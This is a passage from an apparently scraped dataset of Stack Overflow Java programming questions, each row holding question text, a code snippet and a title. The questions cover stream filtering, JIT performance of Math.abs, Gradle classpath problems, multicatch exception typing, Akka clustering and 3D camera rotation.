anotherObject ) ;,Java : Looking for mutable/re-referenceable weak reference implementation +Java,"I have a list aList of objects of class A . This aList is member of each element b of another list bList . Each element b is of class B . Structure of class B is as follows : Structure of class A is as follows : Now I would like to filter aList as follows : Final list aListResult should contain object a only if a.status = `` Active '' as well as each `` Active '' a of aList should contain bList of only `` Active '' b objects i.e . if b will be in associated bList if and only if b.status == Active . How would I achieve that in Java 8 , I can not figure out .",class B { String status ; String name ; } class A { List < B > bList ; String status ; },Two level filtering of list in Java 8 +Java,"As you may know , Math.abs ( Integer.MIN_VALUE ) == Integer.MIN_VALUE and to prevent a negative value , the safeAbs method was implemented in my project : I compared the performance with the following one : And the first one is almost 6x times slower than the second ( the second one performance is almost the same as `` pure '' Math.abs ( int ) ) . From my point of view , there is no significant difference in bytecode , but I guess the difference is present in the JIT `` assembly '' code : '' slow '' version : '' normal '' version : Benchmark code : Results ( Linux x86-64 , 7820HQ , checked on oracle jdk 8 and 11 with pretty similar results ) .Can someone explain why the first code is significantly slower than the second one ?","public static int safeAbs ( int i ) { i = Math.abs ( i ) ; return i < 0 ? 0 : i ; } public static int safeAbs ( int i ) { return i == Integer.MIN_VALUE ? 0 : Math.abs ( i ) ; } 0x00007f0149119720 : mov % eax,0xfffffffffffec000 ( % rsp ) 0x00007f0149119727 : push % rbp 0x00007f0149119728 : sub $ 0x20 , % rsp 0x00007f014911972c : test % esi , % esi 0x00007f014911972e : jl 0x7f0149119734 0x00007f0149119730 : mov % esi , % eax 0x00007f0149119732 : jmp 0x7f014911973c 0x00007f0149119734 : neg % esi 0x00007f0149119736 : test % esi , % esi 0x00007f0149119738 : jl 0x7f0149119748 0x00007f014911973a : mov % esi , % eax 0x00007f014911973c : add $ 0x20 , % rsp 0x00007f0149119740 : pop % rbp 0x00007f0149119741 : test % eax,0x1772e8b9 ( % rip ) ; { poll_return } 0x00007f0149119747 : retq 0x00007f0149119748 : mov % esi , ( % rsp ) 0x00007f014911974b : mov $ 0xffffff65 , % esi 0x00007f0149119750 : nop 0x00007f0149119753 : callq 0x7f01490051a0 ; OopMap { off=56 } ; *ifge ; - math.FastAbs : :safeAbsSlow @ 6 ( line 16 ) ; { runtime_call } 0x00007f0149119758 : callq 0x7f015f521d20 ; { runtime_call } # { method } { 0x00007f31acf28cd8 } 'safeAbsFast ' ' ( I ) I ' in 'math/FastAbs ' # parm0 : rsi = int # [ sp+0x30 ] ( sp of caller ) 0x00007f31b08c7360 : mov % eax,0xfffffffffffec000 ( % rsp ) 0x00007f31b08c7367 : push % rbp 0x00007f31b08c7368 : sub $ 0x20 , % rsp 0x00007f31b08c736c : cmp $ 0x80000000 , % esi 0x00007f31b08c7372 : je 0x7f31b08c738e 0x00007f31b08c7374 : mov % esi , % r10d 0x00007f31b08c7377 : neg % r10d 0x00007f31b08c737a : test % esi , % esi 0x00007f31b08c737c : mov % esi , % eax 0x00007f31b08c737e : cmovl % r10d , % eax 0x00007f31b08c7382 : add $ 0x20 , % rsp 0x00007f31b08c7386 : pop % rbp 0x00007f31b08c7387 : test % eax,0x162c2c73 ( % rip ) ; { poll_return } 0x00007f31b08c738d : retq 0x00007f31b08c738e : mov % esi , ( % rsp ) 0x00007f31b08c7391 : mov $ 0xffffff65 , % esi 0x00007f31b08c7396 : nop 0x00007f31b08c7397 : callq 0x7f31b07b11a0 ; OopMap { off=60 } ; *if_icmpne ; - math.FastAbs : :safeAbsFast @ 3 ( line 17 ) ; { runtime_call } 0x00007f31b08c739c : callq 0x7f31c5863d20 ; { runtime_call } @ BenchmarkMode ( Mode.AverageTime ) @ Fork ( value = 1 , jvmArgsAppend = { `` -Xms3g '' , `` -Xmx3g '' , `` -server '' } ) @ OutputTimeUnit ( TimeUnit.NANOSECONDS ) @ State ( Scope.Benchmark ) @ Threads ( 1 ) @ Warmup ( iterations = 10 ) @ Measurement ( iterations = 10 ) public class SafeAbsMicroBench { @ State ( Scope.Benchmark ) public static class Data { final int len = 10_000_000 ; final int [ ] values = new int [ len ] ; @ Setup ( Level.Trial ) public void setup ( ) { // preparing 10 million random integers without MIN_VALUE for ( int i = 0 ; i < len ; i++ ) { int val ; do { val = ThreadLocalRandom.current ( ) .nextInt ( ) ; } while ( val == Integer.MIN_VALUE ) ; values [ i ] = val ; } } } @ Benchmark public int safeAbsSlow ( Data data ) { int sum = 0 ; for ( int i = 0 ; i < data.len ; i++ ) sum += safeAbsSlow ( data.values [ i ] ) ; return sum ; } @ Benchmark public int safeAbsFast ( Data data ) { int sum = 0 ; for ( int i = 0 ; i < data.len ; i++ ) sum += safeAbsFast ( data.values [ i ] ) ; return sum ; } private int safeAbsSlow ( int i ) { i = Math.abs ( i ) ; return i < 0 ? 0 : i ; } private int safeAbsFast ( int i ) { return i == Integer.MIN_VALUE ? 0 : Math.abs ( i ) ; } public static void main ( String [ ] args ) throws RunnerException { final Options options = new OptionsBuilder ( ) .include ( SafeAbsMicroBench.class.getSimpleName ( ) ) .build ( ) ; new Runner ( options ) .run ( ) ; } } Benchmark Mode Cnt Score Error UnitsSafeAbsMicroBench.safeAbsFast avgt 10 6435155.516 ± 47130.767 ns/opSafeAbsMicroBench.safeAbsSlow avgt 10 35646411.744 ± 776173.621 ns/op","Java Math.abs ( int ) optimizations , why this code 6x times slower ?" +Java,"I have a String as `` ishant '' and a Set < String > as [ `` Ishant '' , `` Gaurav '' , `` sdnj '' ] . I need to write the Predicate for this . I have tried as below code , but it is not working How can I create a Predicate which will take Set < String > and String as a parameter and can give the result ?","Predicate < Set < String > , String > checkIfCurrencyPresent = ( currencyList , currency ) - > currencyList.contains ( currency ) ;",Create custom Predicate with Set < String > and String as parameter +Java,"Using nio.2 in Java 7 , when you create a watch service like that : Then , a background thread is started , polling for file system events within an infinite loop . The name of this thread is `` Thread-n '' which is a bit of a nuisance when investigating thread dumps or during profiling sessions.Can we change the name of that thread ?",WatchService watcher = FileSystems.getDefault ( ) .newWatchService ( ) ;,( Java 7 NIO.2 ) custom name for the watch service thread +Java,"I 'm finally starting to `` get '' GWT . At any time , a PlaceChangeEvent can be fired on the app 's EventBus like so : This adds the event to the bus , whereby a registered ActivityManager scoops it up and consults its internal ActivityMapper to give it the Activity associated with the PlaceChangeEvent 's Place.The Activity ( similar to a presenter or controller object from MVP/MVC ) then obtains any data that is needed ( via RPC calls to the server ) and executes any business logic and configures the final view ( typically a Composite of some sort ) to display.As long as we 're talking about a super-simple GWT app that only has one display region on its host page , then like I said , I `` get '' it.Where I am choking now is what happens when you have an app that contains multiple display regions ( areas that can be updated asynchronously from one another ) .So I ask : How granular are ActivityMappers supposed to be ? Is there just one app-wide AppActivityMapper that maps all Places to all Activityies , or should there be some sort of ActivityMapper hierarchy/decomposition , where you have multiple mappers ? ( And if your answer to this is something along the lines of `` this depends on the needs of your application '' then please explain what requirements/needs drive the appropriate level of granularity ! ) If a Place represents a URL token in your app ( for the sake of making the Place a bookmarkable state ) , then what happens when you have a more complex app that has multiple display regions ( D1 , D2 , D3 ) . How does one URL token ( i.e . http : //myapp.com/ # token-for-some-new-place ) map to D1 , D2 and D3 ? Would n't that mean ActivityMapper # getActivity would have to be capable of returning a list of activities ( List < Activity > ) whose start ( AcceptsOneWidget , EventBus ) methods would all get callled ? Thanks for any help here - code examples always rock .",History.newItem ( `` token-for-some-new-place '' ) ;,GWT : Granularity of Places and ActivityMappers +Java,"Having two Projects : Classic ( Having main class ) AdvancedId like to have the Advanced to have all classes the Classic have . But as I run Advanced/gradle bootRun all the Advanced classes seems to be missing.Advanced/src/main/java/foo/Bar.java : Classic/src/main/java/foo/Classic.java : Exception : I have this in my Advanced/build.gradle : Important info from Comments : Jacob G.I talked for awhile with OP in one of the chat rooms , and I 've discovered a few things . When attempting to build the Advanced project with Gradle , it reports 50+ compilations errors regarding package not found : , referring to packages in the Classic project . Also , Classic and Advanced do not share a root project , so I have a feeling that attempting to depend on project ( ' : classic ' ) is futile . OP stated that commits can only be made to Advanced , so it may not be possible to fix the issue at all . For anyone curious , OP is also not using an IDE.Statement of respectI made an edit to the question , I added an limitation . It was an very important edit that I can only commit changes in Advanced . Because of the fact that I have no experience in gradle I was not aware of the imporance of this additional information . I feel sorry for the late limitation , feel comfort for the courtesy and hope for understanding .",package foo ; public class Bar { //empty } package foo ; public class Classic { public static void main ( ) { try { Class.forName ( `` foo.Bar '' ) ; } catch ( ClassNotFoundException e ) { e.printStackTrace ( ) ; } } } java.lang.ClassNotFoundException : foo.Bar at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass ( BuiltinClassLoader.java:602 ) at java.base/jdk.internal.loader.ClassLoaders $ AppClassLoader.loadClass ( ClassLoaders.java:178 ) at java.base/java.lang.ClassLoader.loadClass ( ClassLoader.java:522 ) at java.base/java.lang.Class.forName0 ( Native Method ) at java.base/java.lang.Class.forName ( Class.java:340 ) at foo.Classic.main ( Classic.java:14 ) java.lang.ClassNotFoundException : foo.Bar at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass ( BuiltinClassLoader.java:602 ) at java.base/jdk.internal.loader.ClassLoaders $ AppClassLoader.loadClass ( ClassLoaders.java:178 ) at java.base/java.lang.ClassLoader.loadClass ( ClassLoader.java:522 ) at org.springframework.boot.devtools.restart.classloader.RestartClassLoader.loadClass ( RestartClassLoader.java:144 ) at java.base/java.lang.ClassLoader.loadClass ( ClassLoader.java:522 ) at java.base/java.lang.Class.forName0 ( Native Method ) at java.base/java.lang.Class.forName ( Class.java:340 ) at foo.Classic.main ( Classic.java:14 ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) at java.base/java.lang.reflect.Method.invoke ( Method.java:564 ) at org.springframework.boot.devtools.restart.RestartLauncher.run ( RestartLauncher.java:49 ) ... dependencies { ... implementation project ( ' : classic ' ) ... } ...,Gradle and Spring-bootRun can not find my class +Java,"I built something I do n't really understand - I do n't know how it works . I 've familiarized myself with this multicatch explaination article.Consider these two exceptions and code : I wo n't be able to call getCustomValue ( ) , even though the method is the same , because inside Java the above try/catch is supposed to actually be casting the MyException1/2 to Exception ( that 's how I understood the docs ) .However , if I introduce an interface like this : and add it to both exceptions , Java is actually able to allow me to use that method . And then calling this is valid : In short , my question is : what is actually happening here : ( MyException1|MyException2 e ) . What is e ? Is the closest superclass chosen as the type of e ? This question asks about it and that 's , supposedly , the answer . If so , then why is the interface CustomValueGetter `` visible '' when I access e ? It should n't be if , in my case , e is an Exception . And if not , if the real class is either MyException1 or MyException2 why am I not simply able to call the same method available for both of those classes ? Is e an instance of a dynamically generated class which implements all common interfaces of both exceptions and is of the nearest common supperclass type ?","public class MyException1 extends Exception { // constructors , etc String getCustomValue ( ) ; } public class MyException2 extends Exception { // constructors , etc String getCustomValue ( ) { return `` foo '' ; } } try { // ... } catch ( MyException1|MyException2 e ) { e.getCustomValue ( ) ; // wo n't work , as I expected } public interface CustomValueGetter { String getCustomValue ( ) ; } public class MyException1 extends Exception implements CustomValueGetter /* ... */public class MyException2 extends Exception implements CustomValueGetter /* ... */ try { // ... } catch ( MyException1|MyException2 e ) { e.getCustomValue ( ) ; // does work }",Determining compile-time multicatch exception type +Java,"Let 's say I have one list with elements like : And I have another large list of strings from which I would want to select all elements ending with any of the strings from the above list . Ideally I would want a way to partition the second list so that it contains four groups , each group containing only those elements ending with one of the strings from first list . So in the above case the results would be 4 groups of 2 elements each.I found this example but I am still missing the part where I can filter by all endings which are contained in a different list.UPDATE : MC Emperor 's Answer does work , but it crashes on lists containing millions of strings , so does n't work that well in practice .","List < String > endings= Arrays.asList ( `` AAA '' , `` BBB '' , `` CCC '' , `` DDD '' ) ; List < String > fullList= Arrays.asList ( `` 111.AAA '' , `` 222.AAA '' , `` 111.BBB '' , `` 222.BBB '' , `` 111.CCC '' , `` 222.CCC '' , `` 111.DDD '' , `` 222.DDD '' ) ; Map < Boolean , List < String > > grouped = fullList.stream ( ) .collect ( Collectors.partitioningBy ( ( String e ) - > ! e.endsWith ( `` AAA '' ) ) ) ;",List < String > get count of all elements ending with one of strings from another list +Java,"The constructors for TreeSet include , besides the standard ones , one which allows you to supply a Comparator and one which allows you to create one from another SortedSet : The second of these is rather too close in its declaration to the standard `` conversion constructor ” : As Joshua Bloch explains in Effective Java ( item “ Use overloading judiciously ” in the chapter on Methods ) , calling one of two constructor or method overloads which take parameters of related type can give confusing results . This is because , in Java , calls to overloaded constructors and methods are resolved at compile time on the basis of the static type of the argument , so applying a cast to an argument can make a big difference to the result of the call , as the following code shows : This problem afflicts the constructors for all the sorted collections in the Framework ( TreeSet , TreeMap , ConcurrentSkipListSet , and ConcurrentSkipListMap ) . To avoid it in your own class designs , choose parameter types for different overloads so that an argument of a type appropriate to one overload can not be cast to the type appropriate to a different one . If that is not possible , the two overloads should be designed to behave identically with the same argument , regardless of its static type . For example , a PriorityQueue constructed from a collection uses the ordering of the original , whether the static type with which the constructor is supplied is one of the Comparator-containing types PriorityQueue or SortedSet , or just a plain Collection . To achieve this , the conversion constructor uses the Comparator of the supplied collection , only falling back on natural ordering if it does not have one.Currently , I am reading the book called Java Generics and Collections , and above is something I do n't understand [ page185~186 ] .First , I do n't quite understand why it uses this example and what things it want to illustrate.Second , I do n't quite understand the concept of `` conversion constructor '' . Is it because of the existence of conversion constructor , that we should use overloading judiciously ?","TreeSet ( Comparator < ? super E > c ) // construct an empty set which will be sorted using the// specified comparator TreeSet ( SortedSet < E > s ) // construct a new set containing the elements of the // supplied set , sorted according to the same ordering TreeSet ( Collection < ? extends E > c ) // construct and populate a NavigableSet whose iterator returns its// elements in the reverse of natural order : NavigableSet < String > base = new TreeSet < String > ( Collections.reverseOrder ( ) ) ; Collections.addAll ( base , `` b '' , `` a '' , `` c '' ) ; // call the two different constructors for TreeSet , supplying the// set just constructed , but with different static types : NavigableSet < String > sortedSet1 = new TreeSet < String > ( ( Set < String > ) base ) ; NavigableSet < String > sortedSet2 = new TreeSet < String > ( base ) ; // and the two sets have different iteration orders : List < String > forward = new ArrayList < String > ( ) ; forward.addAll ( sortedSet1 ) ; List < String > backward = new ArrayList < String > ( ) ; backward.addAll ( sortedSet2 ) ; assert ! forward.equals ( backward ) ; Collections.reverse ( forward ) ; assert forward.equals ( backward ) ;",Use overloading judiciously +Java,Can anyone point to a official Java documentation which describes how many times Stream will invoke each `` non-interfering and stateless '' intermediate operation for each element.For example : The above currently will invoke check method 4 times . Is it possible that in the current or future versions of JDKs the check method gets executed more or less times than the number of elements in the stream created from List or any other standard Java API ?,"Arrays.asList ( `` 1 '' , `` 2 '' , `` 3 '' , `` 4 '' ) .stream ( ) .filter ( s - > check ( s ) ) .forEach ( s - > System.out.println ( s ) ) ; public boolean check ( Object o ) { return true ; }",Java stream operation invocations +Java,"Looking at the akka cluster documentation it appears that you have to know the server & port values of at least 1 `` seed node '' to join the cluster . The example application.conf clearly indicates that the developer needs to know `` host1 '' and `` host2 '' when writing the file : But , consider the possibility of registering each cluster node with a DNS load balancer . For example : it is possible to instantiate 10 nodes that are all registered with a load balancer behind the name `` foobar.cluster.com '' such that the load balancer will send each new connection to one of the 10 nodes round-robin style.Could I then set the seed-node to `` akka.tcp : //ClusterSystem @ foobar.cluster.com:2552 '' ? In other words , Is it possible to use dynamic , load balancing , names to join an akka cluster ? A priori there is one potential issue : a node may get itself as the seed node on the first try . One potential solution to this issue is putting the same seed node value multiple times in the conf file to get a high probability of eventually connecting to a different node : But akka may just reduce all of those values to a single call since they are all exactly the same ... Thank you in advance for your consideration and response .","akka.cluster.seed-nodes = [ `` akka.tcp : //ClusterSystem @ host1:2552 '' , `` akka.tcp : //ClusterSystem @ host2:2552 '' ] akka.cluster.seed-nodes = [ `` akka.tcp : //ClusterSystem @ foobar.cluster.com:2552 '' , `` akka.tcp : //ClusterSystem @ foobar.cluster.com:2552 '' , `` akka.tcp : //ClusterSystem @ foobar.cluster.com:2552 '' ]",Akka Cluster Joining with DNS Load Balancing +Java,Is it possible to specify an index/range in enhanced for loop in Java ? For e.g . I have a list : List < String > list ; And I want to run a for loop from index 1 instead of 0 : OR till index 5I know I can use traditional for loop or keep a counter inside the enhanced for loop but I wanted to know is there something out of the box in Java or apache collections ?,for ( String s : list ( start from index 1 ) ) for ( String s : list ( end at index 5 ) ),Java 8 enhanced for loop with index/range +Java,"BackgroundI 'm trying to create a FPS game in Java using LWJGL 3.0 . I 've set up a camera class , that has a pitch and yaw ( roll is not being used ) . The camera itself extends Entity , as it has a model . This model I would like to appear to always be `` in front '' of the camera , wherever the camera is pointing . Each Entity has a method getTransformationMatrix ( ) which returns a Matrix4f , that is then passed into the entity shader . ProblemThe model needs to point in the direction of the camera , as well as rotate around the camera , such that it is always in front . The object in this situation is hands with a gun , as shown in the photo below.My AttemptI am aware of basic trigonometry , so I got the object to rotate correctly for pitch and yaw , separately . This is my current implementation : YawPitchI have done some research but I fear I have been stuck on this too long and need some fresh eyes . When I try to combine these 2 calculations , the model seems to move in the shape of a graph when looking at any yaw angle other than 0 . Below is my attempt of combining these : The Transform.createTransformationMatrix ( ) looks like the following : ThoughtsA friend suggested creating a unit vector that points in the direction of up , ( ie . new Vector3f ( 0 , 1 , 0 ) ) rotating the Vector by the pitch and yaw , then multiplying the Vector by the radius and adding it to the camera 's position . I tried this , but I do n't know how to rotate a Vector by an angle , and there seems to be no Vector3f.rotate ( ) method in the slick-utils Vector3f class . Any help is is thoroughly appreciated as this has been giving me a headache for the past few days . Thanks !","@ Overridepublic Matrix4f getTransformationMatrix ( ) { modelX = getPosition ( ) .x + ( radius * ( float ) Math.sin ( Math.toRadians ( getYaw ( ) ) ) ) ; modelZ = getPosition ( ) .z + ( radius * ( float ) Math.cos ( Math.toRadians ( getYaw ( ) ) ) ) ; return Transform.createTransformationMatrix ( new Vector3f ( modelX , getPosition ( ) .y - 5 , modelZ ) , new Vector3f ( 0 , getYaw ( ) , 0 ) , getScale ( ) ) ; } @ Overridepublic Matrix4f getTransformationMatrix ( ) { modelZ = getPosition ( ) .z + ( radius * ( float ) Math.sin ( Math.toRadians ( getPitch ( ) ) ) ) ; modelY = ( getPosition ( ) .y - 5 ) + ( radius * ( float ) Math.cos ( Math.toRadians ( getPitch ( ) ) ) ) ; return Transform.createTransformationMatrix ( new Vector3f ( getPosition ( ) .x , modelY , modelZ ) , new Vector3f ( getPitch ( ) , 0 , 0 ) , getScale ( ) ) ; } @ Overridepublic Matrix4f getTransformationMatrix ( ) { float zAxis = ( radius * ( float ) Math.sin ( Math.toRadians ( getPitch ( ) ) ) ) ; modelY = ( getPosition ( ) .y - 5 ) + ( radius * ( float ) Math.cos ( Math.toRadians ( getPitch ( ) ) ) ) ; modelZ = getPosition ( ) .z + ( zAxis * ( float ) Math.cos ( Math.toRadians ( getYaw ( ) ) ) ) ; modelX = getPosition ( ) .x + ( radius * ( float ) Math.sin ( Math.toRadians ( getYaw ( ) ) ) ) ; return Transform.createTransformationMatrix ( new Vector3f ( modelX , modelY , modelZ ) , new Vector3f ( getPitch ( ) , getYaw ( ) , 0 ) , getScale ( ) ) ; } public static Matrix4f createTransformationMatrix ( Vector3f translation , Vector3f rotation , Vector3f scale ) { transform3d = new Matrix4f ( ) ; transform3d.setIdentity ( ) ; Matrix4f.translate ( translation , transform3d , transform3d ) ; Matrix4f.rotate ( ( float ) Math.toRadians ( rotation.x ) , new Vector3f ( 1 , 0 , 0 ) , transform3d , transform3d ) ; Matrix4f.rotate ( ( float ) Math.toRadians ( rotation.y ) , new Vector3f ( 0 , 1 , 0 ) , transform3d , transform3d ) ; Matrix4f.rotate ( ( float ) Math.toRadians ( rotation.z ) , new Vector3f ( 0 , 0 , 1 ) , transform3d , transform3d ) ; Matrix4f.scale ( scale , transform3d , transform3d ) ; return transform3d ; }",3D rotation in 2 directions ? +Java,"We have our project hosted in OpenShift ( OKD to be precise . We host it ourselves ) . The setup is as follows : Routing server ( Spring Boot 1.5.8 with Zuul ) : This one takes all the incoming traffic and routes it to the correct servicesMultiple services ( all with Spring Boot ) : Here is all the business logicWe use SOAP for calling other services in this project.Currently , when we call the application , the call goes to the routing server , which then routes it to the main business service.After a short inactivity of about one hour , our main business service is not reachable via the external call . The edge server however is available and callable 100 % of the time . We do get a 504 Gateway Timeout exception from the system when we call it . We already figured out that this is the timeout of the route in openshift ( haproxy.router.openshift.io/timeout in the route ) .The core problem is , that OpenShift seems to hibernate the main business service after an inactivity of about one hour . After a delay of 15 minutes however the calls seem to find their destination and the data gets processed correctly.How can we turn this behaviour off ? Edit 1 : We have the same application in normal `` old fashioned '' VMs in production . We do n't have any problems there.We noticed that the services can be `` kept alive '' when we call them regulary . We built a small service which calls theme regulary ( every 15 min ) . This way it seems to work . But this is not a production ready workaround IMO.Edit 2 : Our pod config ( some names are anonymized ) : https : //gist.github.com/moritzluedtke/6867499b0acbb2d7b5a9a70e49b0d45cWe do not use autoscaler.Edit 3 : Our deployment configs ( some names are anonymized ) : https : //gist.github.com/moritzluedtke/dc7c1078fe9cc7e4aeb737094849fc1bEdit 4 : It seems that this is not a problem with OpenShift but rather our tech stack . I will update this question , as soon as we have a solution .",OpenShift Master : v3.11.0+1c3e643-87Kubernetes Master : v1.11.0+d4cacc0OpenShift Web Console : v3.11.0+ea42280,Openshift service is not available after short inactivity +Java,I came across this question in a Facebook group . I know I should be using equals ( ) method but I want to know why this is happeningOUTPUT,class Main { public static void main ( String [ ] args ) { String s1= '' abc:5 '' ; String s2= '' abc:5 '' ; System.out.println ( s1==s2 ) ; System.out.println ( `` s1 == s2 `` + s1==s2 ) ; } } truefalse,Java == behaving ambiguously +Java,Is it possible to output the current stacktrace with method signatures ? I 'm trying to debug some obfuscated code that has a ton of methods with the same name that just differ in arguments and return type.Some things that will not work :,Thread.currentThread ( ) .getStackTrace ( ) ; new Throwable ( ) .getStackTrace ( ) ; // etc..,Java - Is it possible to output the stacktrace with method signatures ? +Java,"I 'm trying to set the icon of a Java AWT application so it renders in native resolution on the Windows 10 taskbar ( including when desktop scaling is set above 100 % ) . It seems that by default , if an executable embeds an icon containing multiple sizes , Windows seems to pick a size larger than the actual size of taskbar icons and downsize it ( at 100 % scale it resizes the 32 pixel icon to 24 , even if a 24 pixel icon is supplied , and similarly for other scales . ) I 've solved this problem for C++ MFC applications by loading just the correctly sized icon as a resource and sending a WM_SETICON message to the window , which results in a nice sharp icon on the taskbar and alt-tab dialog.That approach does n't seem to work for Java applications - a WM_SETICON message with wParam set to ICON_SMALL works fine , but the equivalent with ICON_BIG is ignored.If I try to use Java 's API to set the icon , by doing thisthe correct icon is used but it appears blurry , as if something has resized it to the `` expected '' size and then resized it back . Left here is how it appears , right is the contents of the icon file.So , my question is : what can I do in this Java application to make Windows render the icon I give it on the taskbar without scaling it and blurring the details ?","smallIcon = ( HICON ) LoadImage ( myInstance , MAKEINTRESOURCE ( smallIconRes ) , IMAGE_ICON , smallIconSize , smallIconSize , LR_DEFAULTCOLOR ) ; SendMessage ( hWnd , WM_SETICON , ICON_SMALL , ( LPARAM ) smallIcon ) ; bigIcon = ( HICON ) LoadImage ( myInstance , MAKEINTRESOURCE ( bigIconRes ) , IMAGE_ICON , bigIconSize , bigIconSize , LR_DEFAULTCOLOR ) ; SendMessage ( hWnd , WM_SETICON , ICON_BIG , ( LPARAM ) bigIcon ) ; List < Image > icons = new ArrayList < Image > ( ) ; icons.add ( windowIcons.getIcon ( 20 ) ) ; // small icons are 20x20 pixels icons.add ( windowIcons.getIcon ( 30 ) ) ; // large are 30x30 at 125 % scale setIconImages ( icons ) ;",Is it possible to give AWT applications sharp taskbar icons in Windows 10 +Java,"In all my java files of my project , I want to replace occurrences of this : With that : Is there any action or strategy to do this with IntelliJ IDEA ? I want it to be specific to the getName method of my class MyClass and not to replace code , that refers to methods called getName of other classes.I want it to find as many matches as possible . It should not care about additional spaces , linebreaks , etc . If the variable has another name ( like myObj or objX ) it should also work . Calls like getObject ( ) .getName ( ) should also be found . ( The search has to care about semantics ) .I want it to be fast and not to require me to go through the hundreds of matches one by one .",myObject.getName ( ) == null myObject.hasName ( ),How to extract a method across files ? +Java,"I have the following setup : I have an Activity that launches a FragmentA.FragmentA contains a recyclerView and an adapter.I have an interfaceA in the adapter which is implemented in FragmentA so that I get notified which position was clicked.I have a second interfaceB that I created in the FragmentA , which is implemented in the Activity that launched FragmentA in step 1.Finally , I 'm launching FragmentB from the Activity based on data I get from interfaceB.Everything is working fine , however the flow is tedious , and demands a lot of boilerplate code.THE GOAL is to have the activity launch fragmentB that contains data from a single clicked item from the recyclerView within FragmentA.Question : Can it be achieved differently ? Code Below : Activity launches FragmentA : Inside FragmentA we have recyclerView , and interfaceA implemented in the adapter : Adapter Class : interface class interfaceA : interface class interfaceB : FragmentA class : In the Activity , we are implementing onSingleItemClicked callback to receive the event and launch FragmentB with data received from the interface callback :","Fragment fragment = fragmentManager.findFragmentByTag ( FragmentA.class.getName ( ) ) ; if ( fragment == null ) { fragment = Fragment.instantiate ( this , FragmentA.class.getName ( ) ) ; } FragmentTransaction fragmentTransaction = fragmentManager.beginTransaction ( ) ; fragmentTransaction .replace ( R.id.fragmentLayout , fragment , FragmentA.class.getName ( ) ) .addToBackStack ( FragmentA.class.getName ( ) ) .commit ( ) ; public class AdapterA extends RecyclerView.Adapter < AdapterA.ViewHolderA > { //instances private Context context ; private List < Data > dataList ; private OnItemClickListener onItemListClickListener ; //Constructor public AdapterA ( Context context , List < Data > dataList , OnItemClickListener onItemListClickListener { this.context = context ; this.dataList = dataList ; this.onItemListClickListener = onItemListClickListener ; } onCreateViewHolder ... .onBindViewHolder ... .getItemCount ... class ViewHolderA RecyclerView.ViewHolder { //instances..//Constructor ... } } public interface OnItemClickListener { void onItemClick ( View view , int position ) ; } public interface SingleItemEventListener { void onSingleItemClicked ( int position ) ; } //Instancesprivate AdapterA adapter ; private RecyclerView recyclerView ; private onSingleItemClicked singleItemEventListener ; onAttach ... onCreateView ... @ Overridepublic void onStart ( ) { super.onStart ( ) ; //Setting adapter onSetAdapter ( ) ; } private void onSetAdapter ( ) { List < Data > dataList ; dataList = getData ( ) ; adapter = new AdapterA ( context , dataList , new OnItemClickListener ( ) { @ Override public void onItemClick ( View view , int position ) { singleItemEventListener.onSingleItemClicked ( position ) ; } } ) ; ActivityA implements SingleItemEventListener { @ Override public void onSingleItemClicked ( int position ) { Data data = getData ( position ) ; if ( data ! = null ) { Bundle bundle = new Bundle ( ) ; bundle.putParcelable ( `` single_data_key '' , data ) ; Fragment fragmentB = fragmentManager.findFragmentByTag ( FragmentB.class.getName ( ) ) ; if ( fragmentB == null & & bundle ! = null ) { fragmentB = Fragment.instantiate ( this , FragmentB.class.getName ( ) , bundle ) ; } FragmentTransaction fragmentTransaction = fragmentManager.beginTransaction ( ) ; fragmentTransaction .replace ( R.id.FragmentLayout , fragmentB , FragmentB.class.getName ( ) ) .addToBackStack ( FragmentB.class.getName ( ) ) .commit ( ) ; } } }",Launching Fragment B from Activity based on data collected from Fragment A with less boilerplate code +Java,"According to the Java documentation : The most commonly used type parameter names are : E - Element ( used extensively by the Java Collections Framework ) K - Key N - Number T - Type V - Value S , U , V etc . - 2nd , 3rd , 4th typesHowever , I have seen codes like thisHere it is using R , from what source can I find out what R means in here ?","public < R > Observable < R > compose ( Transformer < ? super T , ? extends R > transformer ) { return ( ( Transformer < T , R > ) transformer ) .call ( this ) ; }",Java generics naming conventions +Java,"Am I correct in my thoughts : writing cast ( T ) means `` compiler can not and is not going to check this cast anyway '' . At compile-time the compiler does not know what arg2 would be ( and it could be anything ) , so compiler can not rule out that the cast could work and has to trust the programmer . Thus this cast is just never checked at compile time . In runtime local var declaration looks like Object loc = arg1 ; ( after type erasure ) . So everything works fine just because compiler never cares about this ( T ) cast ? P.S : My research : this , and this . This is also very interesting ( `` casting primitive to generic '' : ( T ) true ) My question is more clearly pinpointed on the problem , the question is also about whether the cast ( T ) checked by the compiler and there are no distractions in the code sample in question .","static < T > void f1 ( Base arg1 , T arg2 ) { T loc = ( T ) arg1 ; // why Derived is `` kind of cast '' to String ? System.out.println ( loc.getClass ( ) .getName ( ) ) ; // would print : Derived } f1 ( new Derived ( ) , `` sdf '' ) ; // T is String - inferred from arg2class Base { } class Derived extends Base { }",Cast to generic type ( T ) is never checked by the compiler ? +Java,"I 'm trying to debug issue with an app that throws exception , and the stack trace is cut off even when I use -XX : MaxJavaStackTraceDepth=16777216 ( or any other value there , like -1 or 2048 ) .It is cut off like this : I want to see more stack trace elements instead of ... 89 more how to achieve that ? This is in Java 8 using SLF4J + Logback for logging with the following configuration :",Caused by : java.lang.IllegalStateException : unexpected message type : DefaultLastHttpContent at io.netty.handler.codec.http.HttpObjectEncoder.encode ( HttpObjectEncoder.java:124 ) at io.netty.handler.codec.http.HttpClientCodec $ Encoder.encode ( HttpClientCodec.java:167 ) at io.netty.handler.codec.MessageToMessageEncoder.write ( MessageToMessageEncoder.java:89 ) ... 89 more < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < configuration > < appender name= '' STDOUT '' class= '' ch.qos.logback.core.ConsoleAppender '' > < layout class= '' ch.qos.logback.classic.PatternLayout '' > < Pattern > % d { yyyy-MM-dd HH : mm : ss } [ % thread ] % -5level % logger { 36 } - % msg % n < /Pattern > < /layout > < /appender > < root level= '' info '' > < appender-ref ref= '' STDOUT '' / > < /root > < /configuration >,How to force java to show full stack trace +Java,"I am writing a program that is based on the Travelling Salesman Problem . There are four cities in which the user determines its x and y coordinates . The salesman always starts at city1 and ends up at city1 , so there are 6 possible routes . However , each route has an equivalent route , i.e route1 has the same distance 